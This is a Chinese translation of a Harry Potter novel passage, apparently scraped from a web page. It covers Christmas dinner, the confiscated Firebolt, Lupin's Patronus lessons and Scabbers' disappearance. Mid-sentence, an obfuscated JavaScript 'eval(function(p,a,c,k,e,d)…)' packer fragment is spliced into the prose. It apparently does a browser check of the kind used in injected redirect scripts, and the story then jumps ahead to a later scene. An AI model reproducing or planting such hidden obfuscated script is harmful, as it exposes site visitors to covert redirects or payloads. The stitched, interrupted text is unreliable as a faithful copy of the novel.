“圣诞快乐!”邓布利多说,这时哈利、罗恩和赫敏走近了桌子。“我们人不多,用各院那些桌子就有点傻了...坐下,坐下!” 哈利、罗恩和赫敏并排坐在桌子末端。 “爆竹!”邓布利多热情地说,把一个银色大爆竹的尾梢递给斯内普,斯内普不情愿地接过来一拉。那爆竹就砰的一声,好像放枪那样,散开了,露出一顶尖顶的女巫大帽子,帽顶上还有一个座山雕标本。 哈利想起博格特的事,和罗恩一对眼光,两人都咧嘴一笑。斯内普的嘴抿了起来,他把帽子推给邓布利多,邓布利多马上拿它换下自己的巫师帽。 “吃吧!”他对全桌的人笑着说。 哈利正在给自己取烤土豆,大厅的门开了。进来的是特里劳妮教授,她向大家滑行过来,好像是站在轮子上一样。为了庆祝圣诞,她穿了一件有金属小圆片装饰的绿色衣服,使她看上去更加像一只发亮的特大号蜻蜓。 “西比尔,你来了真让人高兴!”邓布利多说着站了起来。 “校长,我一直在看水晶球,”特里劳妮教授说,用的是她最模糊、最遥远的嗓音,“让我惊讶的是,我看到我自己抛弃了独自用的午餐,来参加你们的聚餐。我是什么人,怎么能拒绝命运的敦促呢?我立刻就从我的楼里走了出来,我诚意请求你原谅我的迟到...” “当然。当然,”邓布利多说,眼睛发亮,“让我给你拿把椅子来——” 他果然用魔杖在半空中拉来一把椅子,这把椅子在半空中转了几秒钟才发出一声钝响,落在斯内普教授和麦格教授之间。然而,特里劳妮教授并没坐下,她的大眼睛一直满桌子看,忽然低低地发出一声尖叫。 “我可不敢,校长!如果我坐下来,一桌子就是十三个人了!没有什么比十三更不吉利的了!永远不要忘记,要是十三个人一起吃饭,饭后第一个站起来的人就会第一个死!” “我们愿意冒这个险,西比尔。”麦格教授不耐烦地说,“坐下吧,火鸡要冷得像石头一样了。” 特里劳妮教授踌躇了,然后坐在了那把空椅子上,眼睛闭着,嘴紧紧抿着,好像马上就会有雷打到这张桌子上似的。麦格教授把一只大汤匙伸到了最近的大盖碗里。 “牛肚要吗,西比尔?” 特里劳妮教授没去理会她。她睁开了眼睛,向四周看了一遍,问道:“亲爱的卢平教授哪里去了?” “恐怕这可怜的人又病了,”邓布利多说,示意大家可以开始用餐了,“他在圣诞节病倒,真是很不走运。” “但是你肯定已经知道了,是不是,西比尔?”麦格教授说。扬起了眉毛。 特里劳妮教授很冷漠地看了麦格教授一眼。 “我当然知道,米勒娃,”她平静地说,“但是人们并不炫耀自己是无所不晓的。我的行为举止经常是好像我并不拥有天目似的,这样别人就不会感到紧张不安。” “这就说明了很多问题了。”麦格教授尖酸地说。 特里劳妮教授的嗓音突然之间变得不那么模煳了。 “如果你一定要知道的话,米勒娃,我已经看到可怜的卢平教授不会长久地和我们在一起了。他自己似乎明白他的时间不多了。我自愿给他看水晶球的时候,他总是回避——” “想想看。”麦格教授干巴巴地说。 “我想,”邓布利多说,声调是高兴的,但咯有一点几提高,这就结束了麦格教授和特里劳妮教授之间的对话,“卢平教授不会马上就有什么危险。西弗勒斯,你又为他调制药剂了吗?” “是的,校长。”斯内普说。 “好,”邓布利多说,“那他很快就能够下床走动了...德里克,你吃过这种香肠吗?味道好极了。” 那个一年级学生因为校长直接对他说话,紧张得满脸通红,于是双手抖着拿过那个盛香肠的大浅盘子。 两个钟头以后,圣诞大餐结束了,在这期间,特里劳妮教授的举止几乎是正常的。哈利和罗恩被圣诞大餐的美食撑得肚子都快胀裂了,头上还戴着各自的爆竹帽子。他们首先离开了餐桌,特里劳妮教授大声尖叫起来。 “天哪!你们两人谁第一个离开座位的?谁?” “不知道。”罗恩说,不安地看着哈利。 “我觉得这没有什么差别,”麦格教授冷漠地说,“除非有一个发疯的刀斧手等在门外,存心要砍那第一个走进门厅的人。” 就连罗恩也笑了。特里劳妮教授似乎大大地被冒犯了。 “来吗?”哈利对赫敏说。 “不,”赫敏咕哝说,“我要和麦格教授说句话。” “很可能是要问她能不能再多选几门课吧。”罗恩打着哈欠说。他们正往门厅那里走,那里绝对没有什么发疯的刀斧手。 他们走到肖像画上的洞那里,发现卡多根爵士正和两名僧侣、几位霍格沃茨的前校长,还有他那头肥胖的矮种马一起欢度圣诞。他把头盔往上一推,用一壶蜂蜜酒向他们祝酒。 “圣诞——哦——快乐!口令?” “下流的杂种狗。”罗恩说。 “你也一样,先生!”卡多根吼道,这时那幅画向前倾斜着让他们进去了。 哈利直接回到宿舍,把他的火弩箭和赫敏送他的生日礼物《飞天扫帚护理手册》都收集在一起,带到楼下,并且设法要对火弩箭做点儿什么。然而,没有什么弯曲的扫帚梢需要修剪,飞天扫帚是那样光滑,毫无瑕疵,不用打磨了。他和罗恩坐在那里,从各个角度赞赏它。直到肖像画上的洞开了,赫敏走了进来,和她一起来的是麦格教授。 麦格教授虽然是格兰芬多的院长,哈利却只看到过她来到公共休息室一次,而且那次是为了宣布一件很重要的事。他和罗恩瞪眼看着她,两人都握着那火弩箭。赫敏在他们身旁走了一圈,坐下来,顺手拿起一本书,把脸藏在书后面。 “那就是它了,对不对?”麦格教授说着,眼睛发亮。她走到壁炉旁边,看着那火弩箭。“格兰杰小姐刚才告诉我说有人送了你一把飞天扫帚,波特。” 哈利和罗恩回过头来看赫敏。他们看到露在书上面的她的额头红了起来,而且书拿倒了。 “给我看看行吗?”麦格教授说。但她不等回答就把火弩箭从他们手里拿了过去。她从头到尾仔细地检查了一番。“哼,根本没有说明是不是,波特?没有卡片?没有任何信息?” “没有。”哈利面无表情地说道。 “我明白了——”麦格教授说,“唔,恐怕我不得不把它拿走,波特。” “什——什么?”哈利说,慌慌张张地站了起来。“为什么?” “必须检查一下看有没有不祥的东西。”麦格教授说,“当然,我不是专家,但是我敢说霍琦夫人和弗立维教授会把它拆卸了...” “拆卸?”罗恩重复了一遍。似乎认为麦格教授疯了。 “这要不了几个星期。”麦格教授说,“如果我们能肯定它没有附带任何不祥的东西,就可以还给你。” “它可没有什么毛病!”哈利说,声音稍有些发抖。“说实在的,麦格教授...” “你不会知道的,波特,”麦格教授很仁慈地说,“无论如何,要等你飞了以后才知道。我想,在我们肯定了解没有人对它做过手脚以前,根本不可能让你骑它去飞的。有什么情况我会随时通知你的。” 麦格教授转身带着火弩箭走出了肖像画的洞,洞在她身后闭上了。哈利目送她离去,手里仍旧抓着那罐高精度上光剂。然而,罗恩转而对着赫敏说话了——“你跑去找麦格教授干吗?” 赫敏把书扔在一边。她的脸仍然是粉红色的,但她不管不顾地站起来面对着罗恩。 “因为我认为——麦格教授也同意我的看法——这把扫帚没准是小天狼星布莱克送给哈利的!” 50.守护神 哈利知道赫敏是好意,但还是忍不住生她的气。他曾经在短短几个小时之内,拥有世界上最好的飞天扫帚,而现在,由于她的插手,他不知道到底能不能再见到这把扫帚。 他肯定这火弩箭现在没有什么不对头的地方,但是,如果它经受了各种各样反恶咒的测试,谁知道它会变成什么模样呢?罗恩也对赫敏大为生气。就他而论,将一把崭新的火弩箭加以拆卸,那无异是犯罪性破坏。 赫敏仍旧相信她这样做是要争取最好的结果,但她开始尽量不去公共休息室了。哈利和罗恩以为她是到图书馆避难去了,也就没有设法说服她回来。总而言之,元旦以后不久,其他学生都回校了,格兰芬多塔楼重新拥挤喧闹起来,哈利和罗恩倒对此感到高兴。 学期开始前夕,伍德把哈利找到外面去了。 “圣诞过得好吗?”他说。然后不等哈利回答,他就坐下来,压低声音说:“上次比赛以后,你知道,哈利,我一直在琢磨,圣诞节也没闲着。如果下次比赛的时候摄魂怪又到场...我意思是说...我们不能让你...唔...” 伍德停下来不说了,一副尴尬样子。 “我正努力准备呢。”哈利迅速地说,“卢平教授说他会教我如何抵挡这些掇魂怪。我们这星期就应该开始了,他说他圣诞节以后有时间。” “啊,”伍德说,表情明朗起来,“好吧,这样的话——我真的不想失去你这样的找球手,哈利。你订购新的飞天扫帚了吗?” “没有。”哈利说。 “什么!你最好快一点,你知道——你可不能骑着那流星和拉文克劳比赛啊!” “他得到一把火弩箭作为圣诞礼物了。”罗恩说。 “火弩箭?不!当真吗?一把——真的火弩箭?” “别兴奋,奥利弗,”哈利阴郁地说,“现在可没有了。被没收了。” 于是他解释说火弩箭现在正接受检查,看看是否附有恶咒。 “附有恶咒?怎么会附有恶咒?” “小天狼星布莱克,”哈利消沉地说,“人们认为他在追捕我。于是麦格教授就认为有可能是他送给我的。” 伍德手一挥,压根没把一个著名杀手追杀他的找球手当一回事儿,说:“但是布莱克不可能买到一把火弩箭!他一直在逃跑之中!全国上下都在搜寻他!他怎么能走进魁地奇精品专卖店去买飞天扫帚?” “我知道,”哈利说,“但是麦格教授仍旧要把它拆卸了——” 伍德脸色苍白起来。 “我去和她谈,哈利。”他允诺道,“我要让她讲理...一把火弩箭,我们队的...她和我们一样,也希望格兰芬多院赢呀...我要让她头脑清楚些...一把火弩箭...” 第二天,学校开始上课。寒冷的一月份上午在操场上待两个小时,这是大家最不愿意做的事了。但海格升起了一堆大火,里面都是火怪,让大家取乐,而且学生们上了一节好得非同寻常的课,收集枯枝败叶来保持火势,喜爱火焰的蜥蜴在烧得碎裂、自热的木块上蹿来跳去。 新学期的第一节占卜课可就比这差劲多了:特里劳妮教授现在教他们手相学,她不失时机地告诉哈利,他手上的生命线是她所曾见过的最短的。 哈利喜欢上的课是黑魔法防御术;他同伍德谈过以后,就急于开始学抵挡摄魂怪的办法。课后哈利提醒卢平答应教他抵挡摄魂怪这件事。“啊,对,”卢平说,“让我看看...星期四晚上八点钟怎么样?魔法史课的教室应该够大了...我得仔细考虑该怎么做..我们不能带一个真正的摄魂怪来实习...” “他仍旧满脸病容,是不是?”罗恩说,他们正在走廊里走着,要去吃午饭。 “你认为他怎么了?” 他们身后传来一声响亮而不耐烦的“啧”声。那是赫敏,她一直坐在一套盔甲下面,整理着她的书包。书太多,书包合不拢了。 “你对我们啧什么呀?”罗恩不耐烦地问她。 “没什么。”赫敏高傲地说,又把书包放回到肩膀上。 “不对,有什么的。”罗恩说,“我刚才说不知道卢平有什么不对劲,你就——” “啊,那还不明显吗?”赫敏说,带着一股让人气得要发疯的优越感。 “要是你不想告诉我们,那就别说。”罗恩厉声说。 “好。”赫敏傲慢地说,说完就走了。 “她也不知道,”罗恩说,愤怒地瞪着赫敏,“她只想让我们再和她说话罢了。” 星期四晚上八点钟,哈利离开格兰芬多塔楼到了魔法史课教室。他到的时候,教室里又暗又空,他用魔杖点上灯,只等了五分钟,卢平教授就来了,带着一个很大的包,把它放到了宾斯教授的讲台上。 “那是什么?”哈利问。 “另外一个博格特。”卢平说,脱下他的斗篷,“星期二以来,我一直在整个城堡细细寻找,我很走运,找到了这个躲在费尔奇先生档案柜里的博格特。这是我们能够到手的、最近似真正的摄魂怪的东西。这个博格特看见你的时候就会变成摄魂怪,所以我们可以用它来练习。我们不用它的时候,我可以将它藏在我的办公室里:我桌子下面有一个碗橱,它会喜欢的。” “好的。”哈利说,设法说得好像他一点也不胆怯,只是对卢平找到这样一个好的代替品而高兴。 “那...”卢平教授拿出自己的魔杖,示意哈利照做。“我马上要演示并且教你的咒语,是一种极高深的魔法,哈利——大大高于普通巫师的水平。它叫做守护神魔咒。” “它怎么起作用呢?”哈利紧张不安地问道。 “唔,当它正确起作用的时候,它就召唤来一个守护神。”卢平说,“守护神是一种抵御摄魂怪的东西——是一种护卫,在你和摄魂怪之间起到盾牌作用。” 哈利突然想象自己蹲在海格那样的巨人后面,手里拿着一根大棒。 卢平教授继续说道:“守护神是一种正面力量,它所倡导的东西正是摄魂怪的食粮——希望、快乐、活下去的愿望——但它不能像真正的人那样感到绝望,因此摄魂怪就没法伤害它。不过我必须警告你,哈利,这种咒语对你来说可能过于高深。许多资深巫师使用这种咒语时都感到困难。” “守护神看起来是什么样子的?”哈利好奇地问道。 “每一个样子都不同,跟召唤它的巫师有关。” “您是怎么召唤它的呢?” “用一种咒语,这种咒语只有在你集中思想的时候才起作用,你应该竭尽全力回忆某一件快乐的事情。” 哈利搜索枯肠,寻找快乐的回忆。在德思礼家的遭遇肯定和快乐的回忆没有关系。最后,他就努力回想第一次骑上飞天扫帚的情景。 “对。”他说,尽量准确地回想当时往上升时那种奇妙的快感。 “咒语是这样的——”卢平清了清嗓子,“呼神护卫。” “呼神护卫,”哈利低声重复道,“呼神护卫。” “努力只回忆你的快乐事件吧?” “哦——是的。”哈利说,迅速地强迫自己又去想第一次骑扫帚飞行的事。 “呼神叫——不对,护卫——对不起——呼神护卫,呼神护卫。” 他魔杖的末端突然飞快地喷出什么东西,看起来像是一缕银色的气体。 “看见那个了吗?”哈利兴奋地说,“有动静了。” “很好,”卢平微笑着说,“那么——那就拿一个摄魂怪来试试,准备好了吗?” “好了,”哈利说,紧紧抓住魔杖,慢慢走到这间没有人的教室中央。他努力回想那次飞行,但是总有什么别的回忆来打扰..现在每时每刻,他都有可能再次听到妈妈的尖叫...但他不应该想这些事,要不然他又会听到她的声音了,而他并不要...他要吗?卢平抓住那包装箱的盖子一拉。 一个摄魂怪慢慢地从箱子里出来了。它那戴着头巾的面孔朝着哈利,一只发光、结痂、腐烂的手抓住它的斗篷。教室四周的灯光摇曳了一下,熄灭了。那摄魂怪从箱子里走出来,开始迅速无声地走向哈利,一面深深地吸了一口气。一阵彻骨的寒冷向他袭来——“呼神护卫!”哈利大叫,“呼神护卫!呼神护卫——” 这间教室和那个摄魂怪都在融化...哈利又在浓密的白雾之中向下坠落,妈妈的声音比什么时候都要响亮,这声音在他脑子里回荡着——“别动哈利!别动哈利!求你了——我什么都答应——” “闪开——闪开,丫头——” “哈利!”哈利回到现实中来了。他仰面朝天躺在地板上。教室里的灯又亮了。他不必问刚才发生了什么事。 “抱款。”他咕哝道,坐了起来,觉得冷汗在眼镜后面往下流。 “你没事吧?”卢平问。 “没事...”哈利勉强坐到一张桌子上,靠在那里。 “吃吧——”卢平递给他一块巧克力蛙,“在我们再试以前把它吃了。我没指望你第一次就行。说实在的,要是你成功了,我倒会感到惊讶的。” “更糟了,”哈利咕哝道,把青蛙的头咬了下来,“这次我听到她的声音更响了——还有他的——伏地魔——” 卢平比平时更加苍白。 “哈利,要是你不想继续,我会很理解的——” “我要继续!”哈利狂怒地说,把剩下的蛙形巧克力全都塞到嘴里,“我必须这样做!要是在我们和拉文克劳队比赛的时候,摄魂怪又出现了怎么办?我不能再掉下来了。如果我们再输一次比赛,我们就要失去魁地奇奖杯了!” “那么好吧...”卢平说,“你也许要选择另外一种回忆,快乐的回忆,我的意思是说,换一种,再一心一意地想着...你刚才的回忆似乎不够强烈...” 哈利苦苦思索,然后决定是格兰芬多院去年赢得学院杯冠军,这件事肯定够得上是快乐的回忆。 他又紧握魔杖,站到教室中央。 “准备好了吗?”卢平问,抓紧了箱子盖。 “准备好了。”哈利说,一面拼命让自己脑子里充满格兰芬多获胜的快乐回忆,而不去想箱子盖打开以后会发生什么倒霉事。 “开始!”卢平说,拉开那盖子。这间教室顿时又一次变得冰冷黑暗。摄魂怪向前滑行,格格作响吸着气,一只腐臭的手向哈利伸了过来—— “呼神护卫!”哈利大叫道,“呼神护卫!呼神护卫——” 白色的雾气使他理智迷失了..他周围有模模糊糊的大身影在移动...然后来了新的声音,是男人大叫的声音,惊慌失措——“莉莉,带上哈利快逃!是他!逃!快跑!我来抵挡他——” 有人跌跌撞撞地冲出房间——一扇门爆裂开来——一阵尖声大笑—— “哈利!哈利...醒来...”卢平用力拍哈利的脸。 这次哈利在一分钟以后才明白了自己为什么躺在满是灰尘的教室地板上。 “我听见我爸的声音了,”哈利低声咕哝道,“这是我第一次听到他——他设法自己对抗伏地魔,让我妈有时间逃...” 哈利突然明白,自己脸上泪水和汗水混在了一起。他尽量低头,在袍子上擦干泪水和汗水,假装是在系鞋带,不让卢平看见。 “你听到詹姆了?”卢平问,声音很怪。 “是的...”脸擦干了,哈利抬起头来。“啊——你不认识我爸,对不对?” “我——说实话,我认识,”卢平说,“在霍格沃茨我们是朋友。听着,哈利——也许我们今天应该到此为止。这种魔咒太高深了...我不应该建议你经历这些事情...” “不!”哈利说。他又站了起来。“我要再试一次!我想的事情不够快乐,所以才会这样子...坚持下去...” 他又搜索枯肠。真正快乐的回忆...他能够使之化为一个好的、强大的守护神的回忆...他第一次发现自己是巫师,而且要离开德思礼一家,到霍格沃茨来上学!如果这还不是快乐的回忆的话,他就不知道什么才是快乐的回忆了...他努力回忆他知道自己要离开德思礼家时的感觉,哈利站起来,再次面对那个包装箱。 “准备好了吗?”卢平说,看上去好像这样做是违背了他的正确判断似的。“努力集中想了吗?好——开始!”他第三次揭开了包装箱的盖子,摄魂怪从箱子里升起,寒冷和黑暗充满了教室—— “呼神护卫!”哈利大吼道,“呼神护卫!呼神护卫!” 哈利脑子里的尖叫又开始了——但是这次听起来好像是来自一台声音没调好的收音机。声音弱了些、响了些、又弱了些...他仍旧能看到摄魂怪..它停住了...然后一个巨大的银色影子从哈利的魔杖末端射了出去,盘旋在哈利和摄魂怪之间,尽管哈利觉得两条腿软得不行,可是他毕竟还自己站着...虽然他不知道还能站多久... “滑稽滑稽!”卢平吼着,往前跳去。一声响亮的噼啪声,哈利那雾蒙蒙的守护神和摄魂怪一起消失了,他一下子坐进椅子里,累得好像刚跑了一英里似的,两条腿直抖。 他从眼角看见卢平教授用魔杖把那博格特逼回了包装箱,那博格特又变成一个银色的球体。 “棒极了!”卢平说,大步走到哈利坐的地方。“棒极了,哈利!这肯定是好的开始!” “我们能再试一次吗?就一次好吗?” “现在不行,”卢平坚决地说,“今晚已经够你受的了。喏——” 他递给哈利一大块蜂蜜公爵店里最好的巧克力。“把它全吃了,要不然庞弗雷夫人要找我算账了。下星期这时候怎么样?” “好。”哈利说。他咬了一口巧克力,看着卢平熄灭那些随着摄魂怪的消失而复明的灯。 他忽然有个想法。“卢平教授?”他说,“如果您认识我爸爸,那您也一定认识小天狼星布莱克了。” 卢平迅速回过身来。 “你怎么会想起这个?”他尖锐地问。 “没什么——我的意思是说,我刚刚知道他们在霍格沃茨也是朋友...” 卢平的脸色不紧张了。 “是的,我认识他,”他简短地说,“要不然就是我认为我认识。你不如快走吧,哈利,时间不早了。” 哈利离开那教室,沿着走廊走去,转过拐角,然后在一套盔甲后面绕了一个弯,坐在它的底座上吃完他的巧克力,心想他刚才没有提到布莱克就好了,因为卢平显然对这个话题不感兴趣。然后哈利的思绪又回到了他父母身上...他觉得很累,还有一种奇异的空虚感,尽管他刚刚吃饱了巧克力。 在脑子里听到了父母临终时的声音虽然可怕,但哈利这还是他唯一一次听到他爸爸的声音。不过,要是他分一半心思想再听听父母的声音,他就永远不能产生一个合适的守护神... “他们已经死了,”他严厉地告诉自己,“他们死了,听他们的回声并不能让他们回来。要是你想要魁地奇杯,那你不如把自己控制好。”他站起来,把最后一小块巧克力塞到嘴里,回到格兰芬多塔搂去了。 学期开始一星期以后,拉文克劳和斯莱特林赛了一场。斯莱特林赢了,但比分很接近。照伍德的说法,对格兰芬多队来说这是好消息,因为,如果格兰芬多胜了拉文克劳,那它还能占据第二的位置。 因此,他把训练时间增加到了每周五次。这意味着加上卢平的防御摄魂怪课,哈利每周只有一个晚上能用来做作业了,何况卢平的加课本身就比六次魁地奇训练还要累人。 即使如此,哈利也没有显得像赫敏那样累:她选的课太多,课程的重负终于在她身上显露出来了。每天晚上,赫敏总是必然出现在公共休息室的一角,面前的几张桌子上摊着各种课本:算术图表、各种魔法词典、麻瓜举起重物的图解!还有各种范围广泛的笔记。她很少和别人说话,若是有人打扰她,她说起话来就恶声恶气的。 “她是怎么对付得过来的呀?”一天晚上罗恩对哈利咕哝道,此时哈利快要写完一篇斯内普布置的、关于种种不可检测的毒药的论文。哈利抬头看去,赫敏坐在一大堆摇摇欲坠的书后面,人都快看不见了。 “对付什么?” “她要上那么多课呀!”罗恩说,“今天早上,我听到她和维克多教授谈话,维克多就是那个教算术占卜的女巫。她们在说昨天的功课,但是赫敏昨天是不可能去上算术占卜课的,因为她和我们一起上了保护神奇生物课!而且厄尼·麦克米兰告诉我说,赫敏从来没有错过一堂麻瓜研究课,但这门课有一半时间是和占卜课冲突的,而她也从来没有耽误过一堂占卜课!” 哈利这会儿没有时间去探讨赫敏那张行不通的时间表,他必须把斯内普的论文写好。然而,两秒钟以后,又有人来打扰他了,这人是伍德。 “坏消息,哈利。我刚才去看了麦格教授,谈那火弩箭的事。她——哦——有一点对我生气的意思,告诉我说分清事情的轻重。好像认为我把赢得奖杯看得比让你活下去还要重。就是因为我告诉她,哪怕那飞天扫帚把你摔下地,我也不在乎,只要你能够骑眷它首先抓到金色飞贼就行。” 伍德摇摇头。简直不能相信的样子。“说实在的,她对我大喊大叫的那副样子...你还以为我说了什么可怕的东西呢。然后我问她,这东西还要在她手里多久...” 他把脸皱起来,学着麦格教授的严厉声调,“‘只要有必要,伍德...’我想你是不是该订购一把新扫帚,哈利。《分类飞天扫帚》后面就有一张订购表...你不妨订一把光轮2001,就像马尔福的那把。” “我不买马尔福认为好的东西。”哈利干脆地说。 一月份不知不觉地变成了二月份,寒冷的天气却没有变。和拉文克劳队的比赛越来越近了,但是哈利仍旧没有订购新的扫帚。他现在每次变形课后,都向麦格教授询问有关火弩箭的消息,罗恩总是满怀希望地站在哈利背后,赫敏则把脸扭向一边飞快地跑过他们身边。 “不行,波特,你现在还不能拿回去。”还没有等哈利开口,麦格教授就这样第十二次告诉他。“我们已经捡查了多数通常使用的咒语,但弗立维教授认为这把扫帚可能带有一种抛掷咒语。我们一检查完,我就会告诉你的。现在,请别再纠缠我了。” 更加糟糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人们叫它摄魂怪的吻。”卢平说,略带一点嘲讽的笑容。“这是摄魂怪对那些它们想彻底毁灭的人做的事。我想头巾下面总会有类似嘴那样的东西,因为它们把下巴压在牺牲品的嘴上,然后——吸出牺牲品的灵魂。” 哈利不觉吐出一点黄油啤酒来。“什么——它们杀——?” “哦,不是的,”卢平说,“比杀死还要糟。你知道,只要你的脑子和心脏还在工作,你就能没有灵魂而活下去。但你不再有自我感觉了,你也没有了记忆,没有了...什么都没有了。根本没有机会复原。你就是——就是活着罢了。行尸走肉而已。你的灵魂就此...万劫不复。” 卢平又喝了一点黄油啤酒,然后说:“这就是小天狼星布莱克的未来命运。今天早晨的《预言家日报》是这么说的。魔法部已经答应摄魂怪们捉到布莱克以后就这样做。” 哈利想着从嘴里把人的灵魂吸走的事,不觉坐在那里目瞪口呆了一会儿。不过他想到了布莱克。 “他活该。”他忽然说。 “你这样想吗?”卢平轻轻地问,“你真的认为有人活该这样吗?” “是的,”哈利不管不顾地说,“对..做了某些事的...” 他原想把他在三把扫帚偷听到的关于布莱克的对话、关于布莱克背叛他父母的事告诉卢平,但是这样一来,势必要暴露出他未经许可,就擅自去了霍格莫德村的事,而且他知道卢平对此未必会在意。因此他喝完黄油啤酒,谢了卢平,就离开了魔法史教室。 哈利恍恍惚惚地希望,他没有问摄魂怪头巾下面有什么这个问题,因为这个答案是如此可怕,他沉浸在灵魂被吸走会有什么感觉的想法里,所以在楼梯上竟和麦格教授撞个正着。 “看看你在往哪里走,波特!” “对不起,教授——” “我刚才到格兰芬多的公共休息室里去找你。唔,给你,我们凡是想得到的事都做过了,好像这把扫帚根本没有什么不正常的地方——你在什么地方有个很好的朋友呢,波特...” 哈利张大了嘴。她正把他的火弩箭拿出来,它看上去和以前一样漂亮。 “我可以拿回去了吗?”哈利低声问道,“当真能拿了?” “当真。”麦格教授说,她真的在微笑。“我敢说星期六比赛以前你就想试试它了,对不对?还有,波特——努把力打赢啊,好不好?要不然我们就连续八年拿不到奖杯了,这是斯内普教授昨晚好心地提醒我的...” 哈利一句话也说不出来,他拿了火弩箭,回身上楼到格兰芬多塔楼去了。他拐过一个弯的时候,看见罗恩向他箭也似的冲过来,笑得嘴都合不上了。 “她给你了吗?太棒了!听着,我可以试试吗?明天?” “好...干什么都行...”哈利说,一个月以来,他的心情从来没有这样轻松。“你知道吗——我们应该和赫敏讲和。她只是想帮忙罢了...” “好的。对了,”罗恩说,“她现在在公共休息室——在工作,为了换换口味。” 他们回到通往格兰芬多楼的走廊,看见纳威·隆巴顿正在央求卡多根爵士,卡多根似乎不让他进去。 “我写下来了,”纳威含着眼泪说,“但是我一定是把那张纸丢在什么地方了!” “说得跟真的似的!”卡多根爵士大吼,然后,他看到了哈利和罗恩,“晚安,优秀的年轻侍者!把这个傻瓜用铁链子锁起来,他打算强行进入里面的房间呢!” “哦。住嘴吧。”罗恩说,他和哈利、纳威站在了一起。 “我忘记了口令!”纳威凄惨地告诉他们,“我让他告诉我本周要用什么口令,因为他一直更换口令,现在那些口令把我弄糊涂了!” “奇身怪皮。”哈利对卡多根爵士说,爵士看上去极其失望,不情愿地放他们进了公共休息室。 突然传来一阵兴奋的喃喃声,大家都回过头来,然后哈利便被争着要看火弩箭的人包围起来了。 “你从哪里得到的,哈利?” “让我骑一下好吗?” “你骑过没有,哈利?” “拉文克劳输定了,他们用的都是横扫七星!” “我就拿一下行吗,哈利?” 大家传看着火弩箭,并且从每一个角度欣赏它。这样大约十分钟以后,人群就散开了。哈利和罗恩能够看清赫敏了,她是唯一一个没有向他们冲过来的人。她俯身向着作业,小心地避开他们两人的目光。哈利和罗恩走近她的桌子,最后她总算抬起头来了。 “我拿回来了。”哈利说,对她咧开嘴笑着,把火弩箭举了起来。 “看见啦,赫敏?这把扫帚什么毛病也没有!”罗恩说。 “唔——也许本来有毛病呢!”赫敏说,“我意思是说,至少现在你知道它是安全的了!” “对,我想是这样的,”哈利说,“我还是把它放到楼上才好——” “我来拿!”罗恩急切地说,“我必须给斑斑喂耗子补药了。” 他拿着火弩箭,举着它上了男生宿舍的楼梯,仿佛它是玻璃做的。 “那我可以坐下吗?”哈利问赫敏。 “我想可以。”赫敏说,从一把椅子上挪走一大块羊皮纸。 哈利看了看那张零乱的桌子,看了看那篇长长的、墨迹未干的算术占卜论文,再看看那篇更长的麻瓜研究论文(“说明麻瓜为什么需要电力”),还有赫敏正在推敲的魔文翻译。 “你怎么能把这么多东西都对付下来呢?”哈利问她。 “哦,唔——你知道——用功呗。”赫敏说。哈利凑近了才发现她看上去几乎和卢平一样疲乏。 “你为什么不少学两门呢?”哈利问,看着她拿起一本本书,寻找她的魔文词典。 “我做不到!”赫敏说,显得大为惊讶。 “算术占卜看上去很可怕。”哈利说,拿起一张看上去很复杂的数字表。 “哦,不。算术占卜相当奇妙!”赫敏真诚地说。“算术占卜是我最喜爱的一门课!它的...” 但哈利从来没有弄懂算术占卜奇妙在哪里。 正在此刻,男生宿舍的楼梯上传来一声被闷住的叫喊。整个公共休息室没有人说话了,大家满怀恐惧地盯着门口看。 匆忙的脚步声,越来越响——然后,罗恩跳进了大家的视线,随身还掩着一条床单。 “看!”他咆哮着,大步走到赫敏桌边。 “看吧!”他大叫,在她面前抖着那条床单。 “罗恩,什么—— ?” “斑斑!看!斑斑!” 赫敏躲开罗恩,完全不知所措。哈利往罗恩拿着的那条床单上看去。上面有些红色的东西。看上去很可怕,像是—— “血!”罗恩在大家的一片惊慌的静寂中大叫。“它死了!你们知道地板上还有什么吗?” “不,不知道。”赫敏说,声音都抖了。罗恩把什么东西扔在赫敏的译文纸上,赫敏和哈利俯身向前去察看。 散在那奇形怪状、长而尖的字迹上的,是长长的几根姜黄色猫毛。 51.格兰芬多对拉文克劳 看上去罗恩和赫敏的友谊就要到此结束了。 两人都气得不得了,哈利不知道他们的关系怎样才能补救。 罗恩气的是赫敏从来不把克鲁克山要吃斑斑的意图当一回事,从来不肯费神去仔细观察克鲁克山。而且此刻仍旧假装认为克鲁克山是无辜的,竟建议罗恩到所有男生的床底下去找斑斑。而赫敏狂怒地说,罗恩没有证据说明克鲁克山吃了斑斑,那些黄色的毛可能圣诞节以来就在那里,而且自从克鲁克山在那间神奇动物园里跳到罗恩的脑袋上那天起,罗恩就一直对她的猫有偏见。 哈利个人认为克鲁克山的确吃掉了斑斑,并试图向赫敏指出:所有的证据都指向了这一点,这时,她对他也发了脾气。 “好吧,站在罗恩一边,我知道你会的!”她尖刻地说,“先是火弩箭,现在是斑斑。什么都是我的错,是不是!让我一个人待着吧,哈利,我有许多事要做!” 罗恩失去了那耗子,非常伤心。 “好啦,罗恩。你不是一直在说斑斑多么讨厌吗,”弗雷德爽快地说,“而且它好久以来就没了精神头,它在一点点儿消耗啊。死得快很可能对它更好——它很可能都没觉得。” “弗雷德!”金妮义愤地说。 “斑斑不过是一天到晚吃了睡、睡了吃罢了,罗恩,这是你自己说的。”乔治说。 “有一次它还替我们咬了高尔!”罗恩凄惨地说,“记得吗,哈利?” “没错,有这回事。”哈利说。 “那是它最辉煌的时刻。”弗雷德说,脸上忍不住要笑。“让高尔手指上的疤留着,作为对它的永久记忆吧。哦,好啦,罗恩,和赫敏和解,再买一只耗子得了。哀叹有什么用啊?” 哈利说服罗恩和他一起,到场地上去看格兰芬多队赛前最后一次训练,以便罗恩在训练以后可以骑骑火弩箭,以此作为让罗恩高兴起来的最后一招。这好像果然让罗恩暂时忘记了斑斑(“好主意!我也能试试玩儿一下球吗?”),所以他们就一起到魁地奇球场上去了。 霍琦夫人仍旧在监督格兰芬多队的练习,以便照看哈利,她也像所有其他人一样,对火弩箭赞不绝口。在训练开始以前,她把火弩箭拿在手里。而且不惜向大家提供专业性的意见。 